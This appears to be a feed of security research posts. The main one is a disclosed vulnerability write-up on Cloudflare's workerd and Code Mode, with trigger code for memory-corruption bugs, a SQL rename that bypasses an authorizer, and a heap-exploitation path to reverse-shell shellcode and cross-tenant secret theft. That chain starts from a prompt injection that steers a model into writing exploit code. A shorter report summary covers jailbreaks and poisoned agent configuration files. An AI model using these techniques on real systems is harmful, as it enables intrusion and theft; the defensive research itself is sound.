That model creates a hard isolation problem. Cloudflare runs code from a huge number of different customers, and to keep latency and cost down it packs many of them onto the same machines, and, as we’ll see, into the same process. The classic answer (a container or VM per tenant) is far too heavy for this: each one adds tens to hundreds of milliseconds of cold start and a real memory footprint, which is exactly what an edge platform serving oceans of short requests cannot afford.

Cloudflare’s answer is to isolate at the language-runtime level rather than the OS level, using V8 isolates, the same primitive Chrome uses to separate browser tabs. An isolate is a lightweight, independent JavaScript context. Many can live inside a single process, each starts in single-digit milliseconds, and the isolate is the security boundary between tenants.

The trade-off is that this boundary is a software boundary inside one shared address space, not a hardware or kernel one. Untrusted code runs in-process, and the whole model rests on the isolate holding.

Figure 2 -

Figure 2 – Many tenants, one process

workerd is the runtime that implements all of this. It was closed-source for years: Workers launched in 2017, but Cloudflare only released workerd as open source in September 2022.[5] It’s exactly what Code Mode runs the model’s generated code on.

3. Why workerd was the obvious sandbox for Code Mode

Code Mode has to run untrusted, model-written code, and it needs that code to reach the declared MCP tools and nothing else. workerd answers both at once.

Running untrusted tenant code in-process is its day job, and it lets Code Mode lock the rest down: no filesystem, no arbitrary network (fetch() and connect() simply throw) with the tools exposed only through bindings.[6] Cloudflare didn’t build a new sandbox for Code Mode. It reused the one it already trusts to isolate millions of Workers.

4. Why we targeted workerd

When you set out to break Code Mode, the obvious place to look is the seam between Code Mode and workerd. This is the integration layer: how tools become bindings, how the configuration is wired, how the two interact. Going after the runtime itself is the unusual move. It’s a bit like setting out to break an AI coding assistant and then going to audit Docker’s own source code, the container runtime itself, not the agent on top of it.

Five reasons made us decide to do it anyway:

  1. An in-process sandbox is a bold, inherently risky bet. Isolating untrusted code without an OS-level boundary means no VM, no container, just a V8 isolate inside a shared process. That puts the entire security model on a single software boundary. That kind of ambitious bet is exactly what’s worth stress-testing.
  2. workerd had almost no public scrutiny.[7] Despite sitting directly on that boundary, there was barely any prior public vulnerability research on workerd, in stark contrast to V8, which is picked apart continuously.
  3. The attack surface is huge. And it’s not just V8. workerd has its own implementation that exposes many Web/Node APIs, each written in C++ and reachable from untrusted JavaScript.
  4. The blast radius reaches Cloudflare Workers. workerd isn’t only Code Mode’s runtime. It’s the engine behind Cloudflare Workers, one of the most widely deployed serverless platforms on the internet. A bug here would never have stayed contained to an experimental agent feature.
  5. AI security has a low-level side too. Beyond the high-level frameworks, the internal, low-level layers that agents rely on to interact with the world deserve research as well.

5. The cage, memory protection keys, and Node

V8 is one of the most heavily attacked pieces of software around, with a long history of memory bugs, so Cloudflare assumes it can break and layers defenses so a compromise of one isolate doesn’t reach the host or other tenants.

Defenses

1. The V8 sandbox (“the cage”). The cage confines JS-reachable objects so a corrupted one can’t forge pointers outside it. Assume arbitrary read/write inside the cage, and stop it reaching memory outside.

2. Memory protection keys. As a further layer against V8 vulnerabilities, production also tags isolate-group memory with hardware memory protection keys (MPK / pkeys), so even with arbitrary read/write inside one isolate’s V8, an attacker still can’t read another tenant’s pages.

3. The L2 process sandbox. Underneath both sits a second-layer (“L2”) process sandbox, so even native code execution inside the process is meant to be contained. Per Cloudflare, the V8 Workers run in a strict layer-2 sandbox (Linux namespaces plus seccomp) that blocks all filesystem and direct network access,[8] limiting what a compromised process can reach on the host.

Attack Surface

Node. Real-world JavaScript assumes Node.js exists, and code constantly reaches for node:* modules, so workerd reimplements a large slice of the Node API in C++. This is exposed to JS through JSG, its “JavaScript Glue” layer. Node was never designed for a threat model where the attacker writes the JavaScript, so this drops a great deal of extra native code onto the boundary, much of it workerd’s own, and enabled by default (a Worker can just require('node:crypto')).

It also means more native objects allocated on the tcmalloc heap, which is secured by neither the cage nor the memory protection keys.

6. Bottom Line

Putting all of the above together, we did exactly that. We targeted workerd’s JSG code, the “JavaScript Glue” that hands native C++ to untrusted JavaScript, whether it is a Node reimplementation or one of workerd’s own API implementations. It is the code that had a fraction of V8’s scrutiny (§4), and the native objects it allocates sit on the tcmalloc heap, memory that lives outside both the cage and the memory-protection keys (§5). So a bug there is not boxed in the way a V8 bug is. It is exactly the surface those mitigations do not cover.

By going after that code we found five vulnerabilities, all of them in workerd’s own native code, each covered in the Vulnerabilities section (Part II).

Building on those bugs, we developed two end-to-end exploits, covered in the Exploits section (Part III).

  1. Code Mode sandbox escape. Starting from a single prompt injection, the model is steered into writing attacker-controlled TypeScript. That TypeScript contains a memory-corruption which leads to native code execution, breaking out of Code Mode and running on the host, fully outside the V8 isolate.
  2. Cross-tenant secret leak. Starting from a malicious Worker you deploy into Cloudflare’s shared pool, we show that one tenant can read another tenant’s memory and leak its secrets straight out of the shared process. This is the production scenario, and it holds up there because the whole exploit runs from the tcmalloc heap, the memory the cage and MPK do not cover.

But to be explicit, we did not run the exploit on Cloudflare production ourselves. Both exploits were verified on the self-hosted version of workerd. The cross-tenant idea should work the same way on production, since it runs entirely from the tcmalloc heap that the mitigations do not cover, but we did not test it there. On a shared host, a memory-corruption exploit that crashes the process could take other tenants down with it, and we were not willing to risk that.

Part II – The vulnerabilities

7. URLPattern out-of-bounds read

URLPattern is a Web API for matching a URL against a pattern, essentially what a router does. You build a pattern such as new URLPattern({ pathname: "/users/:id" }), call .exec() on a URL, and read back the named capture groups ({ id: "…" }). workerd exposes it to Workers, and in our setting the pattern itself is attacker-controlled.

workerd actually ships two URLPattern implementations. The first is the original, workerd-native one (the urlpattern_original compatibility flag). The second is the newer standard one backed by the Ada URL-parser library. We found the same out-of-bounds read in both implementations, and it gives the same primitive.

7.1 Root cause

Under the hood, URLPattern turns your pattern into a regular expression. Matching a URL then produces two parallel lists: the matched values (one per capture group in the regex) and the group names.

A quick example of the benign case:

Figure 3 -

Figure 3 – URLPattern: pattern → result

URLPattern also lets you drop raw regex straight into a pattern, with named or unnamed groups. For example, /(\d+)/(?<slug>[a-z]+) has one unnamed group and one named group:

Figure 4 -

Figure 4 – URLPattern with named group

Here is the implementation. When you call .exec(), workerd runs the compiled regex against the URL and builds the groups object from the result. The original, workerd-native version does it like this:

// urlpattern.c++: building the groups object from a regex match
KJ_IF_SOME(array, regex.getHandle(js)(js, input)) {  // run regex vs URL
  uint32_t index = 1;                                // [0] is full match, skip
  uint32_t length = array.size();                    // 1 + capture count values
  kj::Vector<Groups::Field> fields(length - 1);

  while (index < length) {                           // each capture value
    auto value = array.get(js, index);
    fields.add(Groups::Field{
      .name = kj::str(nameList[index - 1]),           // name by position
      .value = value.isUndefined() ? kj::String() : kj::str(value),
    });
    index++;
  }
  // ...
}

For each capture group, the loop builds one { name, value } field. The value is what the regex matched in the URL. The name is the group’s name (like id from earlier), taken from the nameList vector.

The two sides of that pairing come from completely different places, and that is the part to hold onto:

  • length comes from V8. It’s the size of the match array V8 returns after running the compiled regex, i.e. how many capture groups the regex actually produced.
  • nameList comes from URLPattern’s own implementation. It’s the list of names workerd assembled while parsing the pattern, before the regex ever ran.
Figure 5 -

Figure 5 – The group-count mismatch

The loop lines them up position by position, on the assumption that the two counts agree.

So the whole thing rests on those two counts staying equal, and they don’t always. When URLPattern parses the pattern to build nameList, its own group counting misses a group nested inside another group. V8, compiling the real regex, counts every group, nested ones included. So a pattern with one group nested inside another, like (ab(cde)), gives V8 two capture groups where URLPattern counted only one, and length ends up larger than nameList:

const pattern = new URLPattern({ pathname: "/(ab(cde))" });
pattern.exec({ pathname: "/abcde" });   // V8: 2 groups, nameList: 1 name → OOB

Now the loop runs one step too far. For that extra value, index - 1 points past the end of nameList, and kj::str(nameList[index - 1]) reads from beyond the vector, an out-of-bounds read. That is the bug.

7.2 Why an OOB read is an arbitrary read

nameList is a kj::Vector<kj::String>. A kj::String is 24 bytes:

Figure 6 -

Figure 6 – kj::String memory layout

The OOB index makes kj::str() read 24 bytes of whatever follows the vector and treat it as a kj::String, then dereference ptr to copy out the “string.” So if we control the memory after nameList, we control ptr, and the returned JS string is the bytes at an address of our choosing. OOB read → arbitrary read.

7.3 Two notes

  • The same bug is in both implementations, and the Ada one reaches production. The standard, Ada-backed URLPattern makes the identical counting mistake, with the same out-of-bounds read. We confirmed the Ada version triggers on Cloudflare production, and reported it to the Ada maintainers in parallel.
  • Our full end-to-end exploit was on the original implementation, self-hosted. Turning the read into a working cross-tenant secret leak was demonstrated against urlpattern_original on self-hosted workerd. That exact path did not reproduce on production, because production has a check the open-source build lacked.

8. zlib deflateParams() UAF

zlib is the most common compression library around. Node.js ships it as the built-in node:zlib module, and to stay Node-compatible workerd reimplemented it in C++. It exposes a handful of APIs. The basic ones compress and decompress via GzipDeflate/Inflate, and Brotli. In workerd it comes with the nodejs_compat flag (compatibility date 2024-09-23 or later).

8.1 Dangling buffers

Let’s look at a basic use of zlib. You call write() with an input buffer and an output buffer, and zlib compresses the input into the output.

const input  = Buffer.from("hello world");
const output = Buffer.alloc(64);
handle.write(input, output);   // compress input → output

Those three lines already span three distinct layers:

  1. JavaScript (V8): creates the input and output buffers.
  2. workerd’s glue code: the translation layer between JavaScript and native C++, turning those buffers into the raw pointers and lengths the C library expects.
  3. zlib: the C compression library that does the actual work.

The buffer to watch is output. As it moves, its pointer is passed between all three layers, handled differently in each. So let’s take it one layer at a time, starting on the JavaScript side.

On the JavaScript side, output is reference-counted: it stays alive as long as at least one reference points at it. Follow that count through a single write():

  • const output = Buffer.alloc(64). The JS variable holds it: refcount 1.
  • handle.write(input, output, …). As the buffer crosses into native code, workerd takes a reference of its own for the duration of the call: refcount 2. That extra reference is what guarantees the buffer can’t be freed while zlib is mid-compression.
  • write() returns, and workerd drops its reference again: back to refcount 1, held by the JS variable.
  • nothing holds output anymore (it goes out of scope, or is reassigned), so the last reference is gone: refcount 0.
Figure 7 -

Figure 7 – output refcount lifecycle

Now follow the same buffer into the native side. To hand output to zlib, workerd fills in a z_stream(zlib’s state struct), copying the buffer’s raw address into its next_out field, the pointer zlib writes its compressed output through. That copy happens in setBuffers, on every write():

// zlib-util.c++
void ZlibContext::setBuffers(kj::ArrayPtr<kj::byte> input, kj::ArrayPtr<kj::byte> output) {
  stream.avail_in  = input.size();
  stream.next_in   = input.begin();    // raw pointer into the JS input buffer
  stream.avail_out = output.size();
  stream.next_out  = output.begin();   // raw pointer into the JS output buffer
}

And write() forgets to clear them. When it returns, it resets nothing in the z_streamnext_out still holds the raw address of output. Clearing it is workerd’s job, and the write path simply doesn’t.

The same sequence, now with stream.next_out shown alongside:

Figure 8 -

Figure 8 – next_out left dangling

Nothing ever clears next_out after setBuffers sets it. So once output’s refcount reaches 0, the buffer becomes garbage, and the next garbage-collection event reclaims its memory, leaving next_out pointing into freed memory.

8.2 The Use in Use-After-Free

We now have a dangling next_out, and the next step is to find who writes through it.

We started in workerd’s own code, but next_out is zlib’s field, and it is zlib, not workerd, that writes output through it. So the real question is where, inside the zlib library, next_out gets written.

The obvious place is an ordinary compression step: deflate() (and inflate()), the functions that push output through next_out. But in workerd that path is only ever reached through write(), and write() runs setBuffers first, resetting next_out to a fresh buffer before deflate() runs. The stale pointer is overwritten before it is ever used. No good.

What we found instead is deflateParams, reached from handle.params(), the call that adjusts the compression parameters, like the level (how hard zlib compresses). It touches the same z_stream and, crucially, does not reset next_out first:

// zlib-util.c++ — ZlibContext::setParams(), reached from handle.params()
err = deflateParams(&stream, _level, _strategy);

That hands zlib the same z_stream, still carrying the stale next_out from the last write(). And rather than clearing next_in/next_outdeflateParams flushes whatever output zlib still has buffered before it applies the new settings:

// zlib - deflate.c, deflateParams() (trimmed)
func = configuration_table[s->level].func;
if ((strategy != s->strategy || func != configuration_table[level].func)
        && /* there is data still pending */) {
    /* flush the last buffer */
    deflate(strm, Z_BLOCK);   // flush pending output through strm->next_out
}
s->level    = level;          // new config applied only after the flush
s->strategy = strategy;

If the level or strategy changes and data is still pending, zlib calls deflate() to flush it before updating the config, and that deflate() writes through strm->next_out, the dangling pointer.

But there is still a problem. When we called write(), zlib already compressed the data we handed it, so how are we supposed to have any bytes still pending for deflateParams to flush?

8.3 Z_NO_FLUSH

Each zlib write takes a flush mode controlling how eagerly output is emitted. Passing Z_NO_FLUSH tells zlib to hold compressed output in its internal buffer rather than push it all out through next_out, so the write() returns with data still pending. That pending data is exactly what deflateParams flushes.

8.4 Putting everything together

The whole use-after-free is a handful of JavaScript calls. Tracking outBuf’s refcount and next_out across the full cycle, the same way we did on the JavaScript side:

Figure 9 -

Figure 9 – The zlib use-after-free

9. HTMLRewriter AttributesIterator UAF

HTMLRewriter is a Workers API for transforming HTML as it streams through. A Worker can rewrite tags, attributes, and text on the fly without buffering the whole document. workerd exposes it on top of lol-html, Cloudflare’s Rust streaming HTML rewriter, through a layer of C++ bindings.

The bug is in those bindings, not in lol-html. When you ask an element for an attributes iterator, the C++ binding grabs a raw pointer into the element’s internal attribute array and reads through it on each next(). Adding attributes with setAttribute grows that array, and once it outgrows its capacity the array reallocates to a new location and the old one is freed, but the iterator is still pointing at the old, now-freed array. The next next() reads from that freed memory:

new HTMLRewriter().on('div', {
  element(el) {
    const iter = el.attributes[Symbol.iterator](); // pointer into backing array
    iter.next();                                   // reads backing array
    for (let i = 0; i < 10000; i++)                // grow attributes...
      el.setAttribute(`x${i}`, 'A'.repeat(100));   // ...until it reallocates

    const leaked = iter.next().value;              // iter → freed array: UAF
  }
});

10. KV SQL bypass → arbitrary deserialization

The other four bugs are memory-corruption. This one is a classic that leads to arbitrary deserialization.

10.1 Durable Objects

Workers are stateless. Each request runs in a fresh, short-lived context, and nothing held in memory survives to the next one. Durable Objects are Cloudflare’s answer to that: a Durable Object is a single, uniquely-addressable instance that stays alive and keeps its state across requests, both in memory and in private, strongly-consistent storage. It’s how you hold persistent, coordinated state on the edge: a chat room, a live document, a counter.

That storage has a newer SQLite backend, and a Worker can reach the same database in two ways:

  1. the key/value API (storage.get / put), which stores each value serialized with the structured-clone algorithm, and
  2. the SQL API (storage.sql.exec), which runs raw SQL against the same database.

The key/value data lives in a reserved SQLite table, _cf_KV, and reading a value back deserializes its bytes with V8’s structured-clone deserializer, including workerd’s handlers for internal types.

10.2 The authorizer bypass

A SQL authorizer guards those internal tables. It rejects any query that touches a _cf_-prefixed table: CREATESELECTINSERTUPDATEDROP, all of it. But we found one operation it forgot to check.

The authorizer validates the tables a query references, but not the destination name of a rename. So while every direct query against _cf_KV is rejected, nothing stops you from creating an ordinary table under an allowed name and then renaming it with ALTER TABLE … RENAME TO _cf_KV. You build the table under a name the authorizer permits, fill it with crafted bytes, and rename it into place:

CREATE TABLE kv_tmp (key TEXT, value BLOB);          -- allowed
INSERT INTO kv_tmp VALUES ('k', <attacker bytes>);   -- crafted payload
ALTER TABLE kv_tmp RENAME TO _cf_KV;                 -- not checked → now KV

A later key/value read (storage.get('k')) then feeds those attacker-controlled bytes straight into workerd’s internal deserializers, exactly the untrusted input they were never meant to handle.

We didn’t continue from here. The point is the attack surface. A malicious Worker can control the bytes fed to V8’s deserializer, which will deserialize any object it supports, including workerd’s own internal types. And while we stopped there, the surface is worth stressing: that deserializer was built for trusted, in-process data, and unlike V8’s parser and JIT, it isn’t fuzzed for hostile input. That makes it a very strong attack surface, and a well-worn path to type confusion and memory corruption.

Part III – The full chain and its impact

11. Cross-tenant secret theft (Workers)

Cloudflare Workers run the same workerd and the same many-tenants-one-process model from §2. Different customers’ Workers run as separate V8 isolates inside one OS process, sharing one address space and one native (tcmalloc) heap. The isolate is the only wall between them, and that wall is in V8, not on the native heap.

Figure 11 -

Figure 10 – Cross-tenant OOB read

So the URLPattern read from §7 isn’t just a crash, it’s a way for a Worker you deploy to read another tenant’s memory out of that shared heap. Here is how that out-of-bounds read becomes a private key read from a different Worker. Everything below operates on the tcmalloc heap, outside the cage and the memory-protection keys (§5).

11.1 The strategy

Recall the primitive from §7. The read goes one entry past the end of nameList, treats those 24 bytes as a kj::String { ptr, size, disposer }, and returns the bytes at ptr. So if we control whatever sits right after nameList, we control that fake kj::String, and reading one attacker-chosen kj::String is reading any address we point it at:

Figure 12 -

Figure 11 – Fake kj::String read primitive

That is the basic primitive. What we actually want is to sweep another tenant’s memory for secrets, to read anywhere in the process, and to do it with as little heap spraying as possible. To get there we need three things:

  1. Break ASLR. Leak a real heap address, so we know where to read.
  2. Control the ptr of the fake kj::String. So we can read the bytes at any address we choose.
  3. Make it repeatable. Read one address after another without re-shaping the heap each time.

11.2 Sizing nameList

One lever first, because it makes the rest easier. nameList’s size is ours to choose. Its length is just the number of capture groups the pattern declares, so padding the pattern with extra groups grows the kj::Vector<kj::String> to whatever size we want. tcmalloc places allocations by size class, so choosing nameList’s size chooses the neighborhood it lands in, and picking the size class is what makes landing our own allocations right next to it reliable.

11.3 Defeating ASLR

A read is only useful once we know where to aim it, and ASLR hides that. To beat it we just need to leak any one real heap address. The out-of-bounds read already returns whatever the fake kj::String’s ptr points at, so if we arrange for ptr to point at a location that itself holds a heap pointer, the read hands that pointer’s bytes back to us as a string:

Figure 13 -

Figure 12 – Leaking a heap pointer

So we need an object right after nameList with two things:

  1. ptr (first 8 bytes), points at a heap pointer, so dereferencing it leaks a heap address.
  2. size (next 8 bytes), a small, valid length: not zero, not a pointer, just short enough that the read returns a sane string.

We didn’t find a real object whose layout already satisfies both, so as a last resort we turned to the tcmalloc free list, and it has two properties that fit perfectly:

  1. The first 8 bytes of a freed chunk are the next pointer (to the next free chunk), which is requirement #1.
  2. The rest of the chunk, including bytes 8–15, is left untouched by the free, so a size we wrote there earlier stays put. That is requirement #2.

So what we can do is allocate a chunk right after nameList, write size = 8 into its bytes 8–15, and free it. The free turns its first 8 bytes into a next pointer to the next free chunk, while our size = 8 survives:

Figure 14 -

Figure 13 – Freelist next-pointer overwrite

The read hands back that heap pointer as bytes. Since tcmalloc aligns its heap to a 1 GB boundary, one leaked pointer gives us the heap base.

11.4 A repeatable read with VFS files

ASLR gives us an address. Now we want to read many, to sweep the heap. The problem is doing that without re-shaping every time. If reading a new address meant a fresh allocation, we’d have to land it next to nameList again on each read. What we need instead is an allocation we can keep in place and change in-place, so we just rewrite the target pointer and read again.

The best fit we found is a workerd API called VFS, a virtual (memory-only) filesystem. A VFS file’s contents are a native kj::heapArray on the tcmalloc heap, and crucially we can overwrite those contents at will without reallocating. It also lets us pick the file’s size, so we match nameList’s size class and a sprayed file lands right after it.

The idea is to shape the heap once so a VFS file lands right after nameList, then read any address by rewriting that file’s bytes in place and calling exec() again, with no re-shaping per read:

Figure 15 -

Figure 14 – Repeatable read via VFS

(This works because nameList is allocated when the URLPattern is constructed, but the out-of-bounds read only fires later on exec(), so the shaped layout persists across reads.)

11.5 Reading another Worker’s secret

From here it’s just a sweep. We walk the heap with the repeatable read and look for bytes that look like a secret, in the PoC, Bearer sk…-style API tokens, until we find one belonging to a co-located Worker.

12. Sandbox escape: from the zlib UAF to host RCE

The second demo stays inside Code Mode and goes all the way to native code on the host, starting from the zlib use-after-free of §8.

12.1 Improving the primitive

Recall what §8 gives us, broken into the pieces we’ll build on:

  • A use-after-free write. When params() flushes, zlib writes through the stale next_out into the output buffer, after that buffer has been freed and its slot can be reused.
  • A controllable allocation size. We choose the size of the output buffer, which decides which freed slot the write targets and what we can spray into it.

Our primitive, then:

Figure 16 -

Figure 15 – Reusing the freed buffer

And the write isn’t clean. The first 5 bytes of every flush are compression metadata.

Two improvements make it precise:

1. The offset of the write. workerd’s write() lets us choose where in the output buffer zlib starts writing. Alongside the buffer it takes an output offset, and zlib sets next_out = buffer + offset, so the write lands at freed + offset, a precise spot inside the reused object instead of always at its start.

2. The size of the write. We also keep the flush small, down to a single 8-byte field, so the write overwrites exactly the field we’re aiming at, rather than splattering the whole object around it.

Together that turns a blunt write at the top of the buffer into a small write landing exactly on a field we pick:

Figure 17 -

Figure 16 – Flush at chosen offset

12.2 From use-after-free to repeatable read/write

You might still be wondering how an imprecise write is exploitable at all. We control where it lands, but not the bytes. The trick with this kind of primitive is to stop caring about the bytes. Instead of writing a value, you find a “strong” object and overwrite its size / length field. You don’t need the exact bytes, you just need to make that length bigger. A bloated length turns the object’s own bounded read/write into an out-of-bounds read/write, and that you can build on.

The strong object we use is, again, a VFS file, but this time we corrupt the file’s metadata (the FileImpl object that tracks where the file’s data lives and how long it is), not the file’s contents:

Figure 18 -

Figure 17 – FileImpl metadata layout

With a FileImpl in the freed slot, we aim the UAF write at offset 0x20 so it lands on data.size and inflates the length.

Why does a bigger data.size matter? The file’s data lives at data.ptr, and data.size is the length workerd treats as its bounds, any read or write through the file API is allowed as long as it stays within [0, data.size) of data.ptr. Normally data.size matches the real buffer, so the file stays in bounds. After we inflate it, that bound now covers the real buffer and whatever heap follows it, so a file read or write past the real buffer still passes workerd’s bounds check and is carried out normally, even though it now reaches into adjacent memory:

Figure 19 -

Figure 18 – Inflating data.size out-of-bounds

And the file API makes that precise. Node’s fs read/write take a position argument (the file offset to read or write at, passed straight to the call, no separate seek), plus a length, so we can land exactly on any spot at data.ptr + position. To read 8 bytes from an out-of-bounds offset:

Figure 20 -

Figure 19 – OOB read via readSync

And to write 8 bytes at an out-of-bounds offset. Here the bytes are ours, it’s an ordinary file write:

Figure 21 -

Figure 20 – OOB write via writeSync

So one inflated length turns the VFS file into an out-of-bounds read and write at any offset across the heap.

12.3 Arbitrary read/write

OOB across adjacent heap is strong, but it only reaches forward from one buffer and the exact distances depend on the layout. We upgrade it to a clean, anywhere-in-the-process read/write with a second FileImpl.

The idea is to use the OOB write from the inflated file to reach a second FileImpl sitting further along the heap, and overwrite its data.ptr with any address we want. That second file’s metadata now says “your contents live at <address>”, so an ordinary read or write of the second file reads or writes that address:

Figure 22 -

Figure 21 – Arbitrary read/write primitive

And it’s repeatable. To hit a new address we just rewrite the second file’s data.ptr through the first file again and read/write once more, with no re-triggering the bug. That gives us a stable arbitrary 64-bit read and write across the whole process, the same shape of primitive we built for the cross-tenant read in §11.

12.4 To native code

On the self-hosted build the V8 sandbox is off, which makes the finish almost trivial. Normally turning a memory read/write into code execution means defeating W^X with a ROP chain and chasing per-version gadget offsets. Here we don’t have to. With the sandbox off, workerd reserves V8’s code region as a 256 MB read-write-execute (RWX) mapping at a fixed address, 0xaaaaf0000000, present from process startup, no leak required. So we skip ROP entirely.

The finish is simple. Use the arbitrary write to drop ARM64 shellcode (a reverse shell) into that RWX region, then redirect a function pointer to it. The pointer we hijack belongs to the zlib stream itself, the native write callback that handle.write() invokes (reached through the z_stream, which we locate via its avail_in field). We overwrite that callback’s target with our shellcode address and then call handle.write() once more. Instead of running zlib’s write path, control jumps to the shellcode, native code in the host process, out of the V8 isolate entirely.

Cage-off caveat. This chain was built against a self-hosted workerd compiled with the V8 sandbox off, which lets ArrayBuffer backing stores and native C++ objects share one heap, exactly what the FileImpl overlap relies on (and how Code Mode runs, §5). The underlying UAF is independent of the cage, but with the cage on this specific FileImpl technique would not work as-is. Reaching RCE there would need a different post-UAF path.

Part IV – Takeaways and disclosure

13. Defensive takeaways

  • The engine is not the whole boundary. Hardening V8 and shipping the cage is necessary, not sufficient. Every native API reachable from untrusted JS is part of the boundary.
  • Glue layers deserve first-class security review. JSG marshals lifetimes and pointers across the JS/native seam. That’s exactly where UAFs and missing bounds checks live. It had a fraction of V8’s scrutiny.
  • Native allocations need their own threat model. tcmalloc free-list behavior, VFS buffers, and kj containers live outside the cage. If the cage is your isolation story, the things it doesn’t cover are your attack surface.
  • Agent-generated code is normal code. In Code Mode the model writing exploit-shaped TypeScript isn’t an exceptional event, it’s the intended mode of operation. Prompt injection is a code-execution entry point, and should be modeled as one.

Disclosure timeline

All five vulnerabilities were reported to Cloudflare through HackerOne under coordinated disclosure.

DateEvent
February 1, 20264 of the 5 vulnerabilities reported via HackerOne (zlib UAF, HTMLRewriter UAF, both URLPattern OOB reads)
March 11, 2026Cloudflare rated two of them Critical (zlib UAF, HTMLRewriter UAF)
March 12, 2026The 5th, the KV SQL-bypass → deserialization, reported
Aug 5–6, 2026Public reveal at Black Hat USA 2026 (Mandalay Bay)

Cloudflare’s responses and confirmations:

  • Two rated Critical. Cloudflare rated the zlib use-after-free and the HTMLRewriter use-after-free as Critical.
  • Production reach. Cloudflare confirmed that the bugs reproduce on Cloudflare production, with one exception. The original URLPattern out-of-bounds read (urlpattern_original) does not trigger there (the Ada-backed standard URLPattern does).
  • The cage doesn’t cover the heap we used. Cloudflare confirmed our central claim, that the tcmalloc native heap is outside both the V8 sandbox (cage) and the memory-protection keys. Exactly the memory every primitive in this post operates on.
  • Fix. Cloudflare’s managed Workers were fixed in production, and workerd v1.20260619.1 closes all of these bugs for self-hosted deployments. As of now, Cloudflare has not assigned CVEs.

Links

  1. Cloudflare Q1 2026 earnings call (May 7, 2026), “Developers on Cloudflare’s platform increased to more than 5.5 million…”: https://www.theglobeandmail.com/investing/markets/stocks/NET/pressreleases/1904486/cloudflare-q1-earnings-call-highlights/
  2. “go from no traffic at all to millions of requests per second instantly”: https://blog.cloudflare.com/workerd-open-source-workers-runtime/
  3. “More than 10% of all requests flowing through our network today use Cloudflare Workers”: https://blog.cloudflare.com/cloudflare-workers-serverless-week/
  4. “LLMs are better at writing code to call MCP, than at calling MCP directly” : https://blog.cloudflare.com/code-mode/
  5. “workerd is Open Source under the Apache License version 2.0” (post dated 2022-09-27) : https://blog.cloudflare.com/workerd-open-source-workers-runtime/
  6. “we prohibit the sandboxed worker from talking to the Internet. The global fetch() and connect() functions throw errors” : https://blog.cloudflare.com/code-mode/
  7. only two published security advisories, both Moderate : https://github.com/cloudflare/workerd/security/advisories
  8. “The ‘layer 2’ sandbox uses Linux namespaces and seccomp to prohibit all access to the filesystem and network” : https://blog.cloudflare.com/mitigating-spectre-and-other-security-threats-the-cloudflare-workers-security-model/
  9. no public link, Cloudflare coordinated-disclosure correspondence. Cloudflare confirmed there are no MPK protection keys on the tcmalloc allocations.

The post When Agentic Glue Melts: Exploiting Cloudflare Code Mode and Workers appeared first on Check Point Research.

  •  

AI Security Report 2026

For years, the cyber security industry tracked AI as a force multiplier: something that made existing attack techniques faster, cheaper, and more accessible. That framing was accurate. But the Annual AI Security Report 2026 from Check Point Research documents a transition that goes further. AI has crossed from assistant to operator. Where it once helped attackers prepare, it now runs the operation.

Key observed findings

  • AI has crossed from development aid to live attack operator. It now does the hands-on work inside live intrusions, from China-nexus espionage campaigns to a criminal breach of multiple Mexican government agencies and has spread from nation states to ordinary cyber criminals. 
  • AI now builds deployment-ready malware and attack suites. Its involvement is often invisible in the finished artifact: one developer used an AI environment to produce VoidLink, an 88,000-line command-and-control offensive framework, in under a week. 
  • Attackers prefer commercial models, and now abuse them by exploiting the agentic architecture, not just single prompts. Most actors favor jailbroken mainstream models over self-hosted ones, and the durable bypass is now a planted configuration file an agent loads and trusts across sessions. 
  • An AI-enabled criminal tooling market has matured. Phishing-as-a-service kits now embed a language model with the jailbreak built in, and conversational AI voice-agent services run vishing and one-time-passcode theft at scale.
  • Virtual Identity is no longer a reliable trust anchor. Voice, face, documents, and live video are now cheap to forge convincingly and are widely used in attacks taking multi-channel social engineering to a new level of integration. 
  • AI itself is an expanding attack surface. Models cannot always separate data from instructions and content they process might influence the model’s behavior; the surrounding stack adds ordinary software vulnerabilities and supply-chain risk, all in a rapidly evolving ecosystem where security practices not always mature. 
  • Indirect prompt injection is on the rise. Detections of longer malicious payloads increased sharply, rising roughly fivefold between March and May 2026 and approaching 1% of observed prompts in May. Longer payloads are more typical of content-borne and agentic attack paths, this pattern suggests that indirect prompt injection is becoming more operationally relevant. 
  • Enterprise data leakage through GenAI is persistent and growing risk. High-risk prompts doubled from 2% to 4% during the last year, while organizations used an average of 10 AI applications each month, many without official approval. 
  • Data exposure risks are not evenly distributed across the verticals. Sector-level analysis reveals that AI-related data exposure risks are not evenly distributed across the verticals, and correlate both with AI usage patterns and security maturity. Business Services recorded the highest rate of high-risk GenAI prompts at 5.91%, meaning nearly one in every 17 AI interactions carried a significant risk of sensitive data exposure. 

To read the full findings, access the AI Security Report 2026 from Check Point Research here.

The post AI Security Report 2026 appeared first on Check Point Research.

  •  

Cavern Manticore: Exposing Iran-Linked Modular C2 Framework

Note: SysAid was not compromised, and no SysAid vulnerability was involved. The attacker had already gained access to the victim environment and abused a legitimate software-deployment feature to deploy malware onto another machine within it.


Key Points

  • Check Point Research (CPR) tracks ‘Cavern Manticore’ as an Iran-nexus threat actor operating against Israeli targets, with a focus on the government and IT sectors.
  • Cavern Manticore shares technical overlaps with other Iranian MOIS (Ministry of Intelligence and Security)-linked threat actors, including MuddyWater and Lyceum.
  • CPR observed a modular C2 framework in the wild, with all samples built on top of .NET but compiled into different output formats. These components are used as Cavern agent and Cavern modules.
  • The framework’s anti-analysis posture relies on uncommon .NET compilation formats (Mixed-Mode C++/CLI and Native AOT) that force reverse engineers into multiple toolsets and metadata-reconstruction workflows, together with per-module AppDomain isolation as an anti-forensics measure.
  • In malware-engine coverage, the majority of observed samples score zero or very low detection rates on VirusTotal.
  • Post-exploitation modules provide the threat actor with extended capabilities, including file system and database browsing, LDAP querying, network reconnaissance, and tunneling.
  • In multiple observed intrusions, the initial foothold was achieved through abuse of existing Remote Monitoring and Management (RMM) software deployed in the targeted organization.

Introduction

Since early 2026, Check Point Research (CPR) has tracked a new modular command-and-control framework used by Cavern Manticore, an Iran-nexus APT group primarily targeting Israeli organizations, with a focus on IT providers, and government sectors. Cavern Manticore is an Iran MOIS (Ministry of Intelligence and Security)-linked actor, with links to the OilRig subgroup named Lyceum. The framework reflects a mature and adaptable toolset built around a shared .NET foundation, while using multiple compilation formats across different components, including .NET Framework, .NET Mixed-Mode C++/CLI, and .NET Native AOT. The compilation format itself becomes the anti-analysis layer that forces reverse engineers into multiple toolsets and metadata-reconstruction workflows.

